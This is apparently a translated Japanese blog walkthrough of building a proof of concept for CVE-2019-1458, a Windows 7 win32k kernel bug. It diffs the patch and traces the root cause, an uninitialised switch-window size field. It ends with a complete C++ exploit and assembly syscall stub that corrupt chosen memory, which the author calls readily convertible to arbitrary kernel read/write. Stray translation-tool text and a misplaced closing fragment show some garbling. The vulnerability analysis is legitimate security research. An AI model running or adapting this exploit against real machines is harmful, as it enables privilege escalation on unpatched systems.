
cve-2019-1458 の PoC
12月にKasperskyは、[実際の攻撃で使用された0dayエクスプロイトに関するブログ記事][1]を公開しました。彼らはエクスプロイトの動作を説明していましたが、分析ではPOCを提供していなかったため、興味を引かれました。
そこでKasperskyのブログ記事とパッチ解析に基づいて、この脆弱性のPOCの作成を試みることにしました。
この記事は、その過程をまとめたものです。
まず最初に、この脆弱性についてできるだけ多くの情報を集めました。 前述のブログ記事を読んで、以下の情報を得ました:
NtUserMessageCall APIへの呼び出しが2回必要win32k!DrawSwitchWndHiliteへの参照があったその他に、前述のいくつかの項目を示す逆コンパイルコードのスクリーンショットがあります。
具体的には、切り替えウィンドウの作成、toggle_alt_keyという名前の関数の呼び出し、複数回のNtUserMessageCall呼び出しを示しています。
[画像ソース][1]
有用な情報は多いですが、この脆弱性が正確にどのように機能し、どのようにトリガーするかはまだ説明されていません。
[影響を受けるモジュールはwin32k.sysでした][2]。このモジュールのパッチ適用版と未適用版の両方をダウンロードしました。
Win7 x64の場合、次の通りです:
これらは[Microsoft Update Catalog][3]からダウンロードできます。
両バージョンを比較したbindiff結果は次のとおりです。

DebugHook機能に関連する関数を除外した後、残るのはわずかに変更されたInitFunctionTables()関数だけです。

確かにこれまでで最大のパッチではありません。
これだけでは、この脆弱性の根本原因を即座に特定する助けにはなりません。ただし、*(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180)の変数に対する初期値が追加されていることは注目に値します。つまり、これは初期化されていない変数に関連するバグかもしれません。
このセクションでは、この脆弱性をトリガーするPOCを段階的に構築し、同時に脆弱性の正体を解明した過程を紹介します。
最初の時点ではパッチ差分はあまり有用な情報を提供しなかったため、開発の初期段階では主にKasperskyのブログ記事に頼りました。
適切なテスト環境のために、最後の脆弱なバージョンのwin32kが動作するWin7 SP1 x64 VMを準備しました。さらに、このVMにWindbgを接続してカーネルデバッグを行い、その際にシンボルサーバーパスも設定しました。
調査は、ブログ記事で言及されていたwin32k!DrawSwitchWndHiliteを調べることから始めました。これは、xxxMoveSwitchWndHiliteとxxxPaintSwitchWindowの2か所から呼び出されています。後者は、元のレポートで言及されていたGetKeyState/GetAsyncKeyState呼び出しで囲まれているため、すぐに注目しました。さらに、これらの呼び出しはALTキーが押されているかどうかをチェックしています。

xxxPaintSwitchWindowからDrawSwitchWndHiliteへの呼び出し
呼び出しのクロスリファレンス(xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow->DrawSwitchWndHilite)をさらに追跡すると、そのチェーンの最初の要素が、パッチで修正されたInitFunctionTablesで参照されていることを発見しました。
次に、逆コンパイルコードのスクリーンショットからNtUserMessageCallを調べました。
この関数の宣言は次のとおりです。```cpp
NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi)
エクスプロイトは `msg = 0x14` と `dwType = 0xE0` で呼び出しています。何をするか見てみましょう。```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, 1);
ここでは、単純なウィンドウクラスを登録し、そのクラスのウィンドウを作成しました。次に、エクスプロイトと同じパラメータで NtUserMessageCall を呼び出しました。内部で何が起こっているのかを確認するために、ブレークポイント kd> ba e 1 win32k!NtUserMessageCall を設定してコードを実行しました。
この関数への呼び出しはかなり多いため、正しい呼び出しを捉える必要がありましたが、それほど難しくはありませんでした。コールスタックが非常に短い呼び出しでした。

NtUserMessageCall
コードをステップ実行すると、gapfnMessageCall 配列の関数を呼び出していることがわかりました。インデックスは msg の値に基づいて計算され、0 になるため、NtUserfnDWORD が呼び出されます。

NtUserfnDWORD
次の呼び出しは dwType の値を使用して行われ、今度は gpsi のオフセットが 0x40 になり、呼び出しは xxxWrapSwitchWndProc につながります(この関数は、DrawSwitchWndHilite の呼び出しチェーンを確認したときにも登場しました)。
xxxWrapSwitchWndProc は単に xxxSwitchWndProc を呼び出します。

xxxSwitchWndProc
そしてここが終点です。コードはここで失敗し、msg の値(0x14)から到達したい場所である xxxPaintSwitchWindow には進みません。理由を確認しましょう。
コードがこの段階で失敗するのは、前の画像で強調したように、ウィンドウの fnid が 0x2A0(FNID_SWITCH)ではなく、送信しているメッセージも 1 ではないため、xxxDefWindowProc に到達してしまうからです。このシナリオを回避するには、fnid を FNID_SWITCH に設定して xxxSwitchWndProc を呼び出し、switch 文に直接進んでから xxxPaintSwitchWindow に到達する必要があります。
正しい fnid を設定するにはどうすればよいでしょうか。実は、同じ関数が最初の if ブロック内で設定しています。fnid を設定する命令に到達するには、その中のすべてのチェックを失敗させるだけでよいのです。
3つの if チェックをすべて失敗させるために満たすべき条件は次のとおりです:
fnid == 0 かつ cbwndExtra + 0x128 >= *(gpsi + 0x154)0 です。
*(gpsi+0x154) は未パッチの win32k! では 0 です。しかし、パッチ適用済みバージョンのように 0x130 に設定されていたとしても、cbwndExtra を 8 以上に設定すれば、最初のチェックを回避できます。msg == 1NtUserMessageCall の呼び出しで設定できます。msg を 1 に設定すると、制御フローは NtUserfnDWORD の代わりに NtUserfnINLPCREATESTRUCT を通りますが、それでも xxxSwitchWndProc に到達します。これらの条件がすべて満たされると、ウィンドウの fnid は FNID_SWITCH に設定されます。
そこで、NtUserMessageCall を2回呼び出す必要があります。1回目は msg を 1 にして目的の fnid を設定し、2回目で xxxPaintSwitchWindow に到達します。```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc
printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }
printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }
printf("[] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE/ = 1*/, 0, 0, 0, 0x0, 1);
printf("[] Calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND/ = 0x14*/, 0, 0, 0, 0x0, 1);
`extraData` をウィンドウクラスに追加し、`NtUserMessageCall` への2回目の呼び出しを追加しました。これで制御フローは `xxxPaintSwitchWindow` に到達できます。
(余談: `dwType` は `0xE0` である必要はなく、`0` でも問題ありません。`NtUserfnDWORD` 内で `0x1F` と AND 演算されるためです)

*`xxxPaintSwitchWindow`*
詳しく調べると、ウィンドウオブジェクトから取得した値 `extraWndData`(25行目)が書き込み先ポインタとして使われていることに気づきました(46〜52行目)! もし `extraWndData` を自分が制御する値に設定するコードに到達できれば、任意のメモリを破壊できます!
そこに到達するには、まずさらにいくつかのチェック(赤でマーク)を通過する必要があります。
- ウィンドウに `WS_VISIBLE` フラグが設定されているかどうかを確認。
このフラグは `CreateWindowEx` で設定できます。
- `fnid == 0x2A0` かつ `cbwndExtra + 0x128 == *(gpsi + 0x154)`
Fnid は最初の `NtUserMessageCall` で既に設定されています。
問題はこのチェックの2番目の部分で、`*(gpsi + 0x154)` が脆弱な `win32k` モジュールでは初期化されていないため、このチェックは常に失敗します。何らかの方法で `*(gpsi+0x154)` を正しい値に設定しない限りは。Kaspersky の投稿で言及されている特別なスイッチウィンドウを作成すると、まさにそれが実現されることがわかりました。
- ウィンドウが破棄されていないかどうかを確認。
このケースでは既に満たされています。
特別な[スイッチウィンドウ][4]を作成するには、名前を `0x8003`(`#32771`)に設定して `CreateWindowEx` を呼び出す必要があります。これは最終的にカーネル内で `InternalRegisterClassEx` が呼び出されることになります。

*`InternalRegisterClassEx` 関数の断片*
これにより `*(gpsi+0x154)` が `0x130` に初期化されます。
この副作用として、この変数を一度設定すると、0 にリセットする方法はありません。つまり、エクスプロイトを実行できる機会は一度だけです。次回の再起動までの他の試みはすべて失敗します。
### 逆参照される値の制御
これで、後でポインタとして逆参照され、`xxxPaintSwitchWindow` 内で書き込みが行われる `extraWndData` を制御できるようになりました。`extraWndData` は次の呼び出しで制御できます。```cpp
SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong)
留意すべき点として、この呼び出しは最初の NtUserMessageCall 呼び出しの後に行う必要があります。前述のように、xxxSwitchWndProc は必要なチェックをバイパスするために、最初の呼び出しでウィンドウの extraData が 0 に設定されている必要があるからです。
また、SetWindowLongPtr はスイッチウィンドウの作成前に呼び出す必要があります。その理由は次のとおりです。
xxxSetWindowLong 関数の一部
ここで、実際に未初期化の変数 *(gpsi + 0x154) を利用します。
このチェックが通過すると、wnd->extraData に任意の値を設定します。
これが正しく初期化されていれば、エクスプロイトはここで失敗するでしょう。```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc
printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }
printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);
printf("[] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, 0x4141414141414); printf("[] GetLastError = %x\n", GetLastError());
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
上記のコードを実行した結果は次の通りです

この直後、`rdi` が逆参照されたときにバグチェックが発生します。
パッチ適用済みのWindowsで同じエクスプロイトを実行すると:```
[*] Registering window
[*] Creating instance of this window
[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window
[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced
bold:[*] GetLastError = 585
[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130
[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time
SetWindowLongPtr は、正しく初期化された *(gpsi + 0x154) が原因でエラーコード 0x585 により失敗します。そしてカーネルはクラッシュしません。
要約すると、主な問題は初期化されていない変数 *(gpsi+0x154) でした。
しかし、この値は何で、なぜ重要なのでしょうか?
gpsi は [tagSERVERINFO][5] 構造体へのグローバルポインタです。この構造体は、とりわけシステムウィンドウ(メニュー、デスクトップ、スイッチなどを意味します)を記述します。これはユーザー定義ウィンドウとは対照的です。
これらのシステムウィンドウは、FNID によって識別されます。たとえば 0x2A0 はスイッチウィンドウを意味します。
ウィンドウクラスを RegisterClassEx を使って定義するとき、WNDCLASSEX の cbWndExtra フィールドを指定する機会があります。このフィールドは、ウィンドウ固有の情報を保存するために tagWND 構造体に追加して割り当てられる追加バイト数を記述します。
その後、SetWindowLongPtr を使用してそれらの追加バイトを変更できます。
システムウィンドウは、動作に必要な追加データを保存するためにまったく同じメカニズムを使用します。しかし原理上、このデータは SetWindowLongPtr を使用して到達可能であってはなりません。
そして、実際に xxxSetWindowLongPtr にはそれを防ぐべきチェックが存在することを確認しました。型情報を適用した後のチェックは次のとおりです。```
if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND))
goto exit_with_error
配列 `gpsi->mpFnid_serverCBWndProc` は、特定のシステムウィンドウオブジェクトのサイズを追加データ込みで表します。
`*(gpsi+0x154)` は `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]` となります。
このフィールドを初期化しないままにしておくと、`xxxSetWindowLongPtr` は追加データのサイズが `-sizeof(tagWND)` であると見なすため、スイッチウィンドウの構造体のプライベートであるべきフィールドに書き込むことができます。
この脆弱性の根本原因は、初期化されていない(あるいはデフォルトで0に初期化された)変数 `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]` でした。
これがパッチが非常に小さかった理由を説明しています。必要なのは、それを `sizeof(tagWND) + 8` に設定することだけでした。同様に、現在では以前は初期化されていなかった他の `mpFnid_serverCBWndProc` 配列要素(`FNID_DESKTOP`、`FNID_TOOLTIPS`)も初期化されており、おそらく将来のこのエクスプロイトの変種も防ぐためです。

## メモリの破壊
現在のエクスプロイトの状態ではバグチェックをトリガーできますが、クラッシュは次の命令で発生します:```asm
xxxPaintSwitchWindow + 0x8B:
cmp [rdi+6Ch], r13d ; rdi = 0x4141414141414
このPOCを準備する最後のステップは、より有用なクラッシュを引き起こすこと、あるいはさらに良いのは、メモリを破損させてもまったくクラッシュさせないことでしょう。
この最後の目標を達成するには、以下が必要です:
VirtualAllocを使ってメモリを割り当て、返されたポインタをSetWindowLongPtrに渡すことにしました。xxxPaintSwitchWindow内にはGetKeyState/GetAsyncKeyStateを呼び出してALTキーが押されているかどうかをチェックする箇所があります。そして、そうでない場合、関数は終了します。GetKeyStateとGetAsyncKeyStateのどちらを使用するかは、[extraWndData+6Ch]のフラグに基づいて決定されます。
私はSetKeyboardStateを呼び出してALT押下をシミュレートすることにしました。これはGetKeyStateでのみ機能するため、オフセット0x6Cの値を1に設定する必要があります。```cpp
ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SetWindowLongPtr(sploitWnd, 0, ptr);BYTE keyData[256]; GetKeyboardState(keyData); keyData[VK_MENU] |= 0x80; // simulate ALT SetKeyboardState(keyData);
((BYTE*)ptr)[0x6c] = 1; // force use of GetKeyState inside xxxPaintSwitchWindow
このコードで別のクラッシュが発生しました。```asm
DrawSwitchWndHilite + 0x10A:
mov rcx, [r12+20h]
mov dl, 1
mov rcx, [rcx] ; rcx = 0
そこで、オフセット 0x20 にも有効なポインタを提供します(それ自身を指すものです)。```cpp
ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed
現在、エクスプロイトはクラッシュせずに動作し、割り当てられたページの内容を調べると、それが修正されていることがわかります!

私たちは、与えられたメモリを破壊する安定したエクスプロイトPOCを達成しました。これは、メモリ読み取り時にクラッシュするPOCよりもはるかに良い状況です。この任意メモリ破壊は、任意のカーネル読み取り/書き込みに容易に変換できるためです。さらに、破壊されるメモリが満たさなければならない要件をすでに抽出しています。
## 結論
このウォークスルーでは、エクスプロイトと脆弱性の説明から、有用なカーネルエクスプロイトに変換できる動作するPOCへとどのようにたどり着いたかを紹介しました。
これは、欠落した1行のおかげで可能になった、非常に興味深いエクスプロイトでした。つまり、教訓は常にグローバル変数を初期化することだと思います。
## POC``` cpp
#include <cstdio>
#include <windows.h>
extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
int main() {
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);
printf("[*] Allocate memory to be used for corruption\n");
PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("\tptr: %p\n", mem);
PBYTE byteView = (PBYTE)mem;
byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow
//pass DrawSwitchWndHilite double dereference
PVOID* ulongView = (PVOID*)mem;
ulongView[0x20 / sizeof(PVOID)] = mem;
printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
printf("[*] GetLastError = %x\n", GetLastError());
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
printf("[*] Simulating alt key press\n");
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}
翻訳対象のMarkdownコンテンツが入力されていません。内容を提供してください。```asm _DATA SEGMENT _DATA ENDS _TEXT SEGMENT
PUBLIC NtUserMessageCall NtUserMessageCall PROC mov r10, rcx mov eax, 1007h ; Win7 sp1 syscall ret NtUserMessageCall ENDP _TEXT ENDS END
[1]: https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/
[2]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458
[3]: https://www.catalog.update.microsoft.com/Home.aspx
[4]: https://docs.microsoft.com/en-us/windows/win32/winauto/switch-window
[5]: https://www.reactos.org/wiki/Techwiki:Win32k/SERVERINFO
[6]: https://media.paloaltonetworks.com/lp/endpoint-security/blog/the-case-for-smep-exploiting-a-kernel-vulnerability.html
extraData == 0cbwndExtra を使用してウィンドウクラスを登録するときに設定できます。ExtraData は tagWND 構造体の直後に追加されます(私は、逆コンパイルされたコードを少し見やすくするために、このフィールドを IDA の tagWND 構造体に sizeof(tagWND) オフセットの QWORD として追加しました)。その値は SetWindowLongPtr の呼び出しで設定できます。